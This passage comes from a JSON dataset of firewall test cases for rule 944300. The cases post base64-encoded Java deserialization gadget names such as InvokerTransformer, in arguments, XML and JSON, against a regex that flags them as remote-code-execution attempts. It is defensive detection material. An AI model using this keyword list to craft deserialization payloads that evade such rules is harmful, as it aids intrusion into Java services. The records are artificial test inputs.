"(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=aW52b2tlcnRyYW5zZm9ybWVy" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword aW52b2tlcnRyYW5zZm9ybWVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "aW52b2tlcnRyYW5zZm9ybWVy=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword aW52b2tlcnRyYW5zZm9ybWVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"aW52b2tlcnRyYW5zZm9ybWVy\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword aW52b2tlcnRyYW5zZm9ybWVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">aW52b2tlcnRyYW5zZm9ybWVy</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword aW52b2tlcnRyYW5zZm9ybWVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">aW52b2tlcnRyYW5zZm9ybWVy</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword aW52b2tlcnRyYW5zZm9ybWVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=aW52b2tlcnRyYW5zZm9ybWVy" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword aW52b2tlcnRyYW5zZm9ybWVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"aW52b2tlcnRyYW5zZm9ybWVy\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword aW52b2tlcnRyYW5zZm9ybWVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"aW52b2tlcnRyYW5zZm9ybWVy\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, 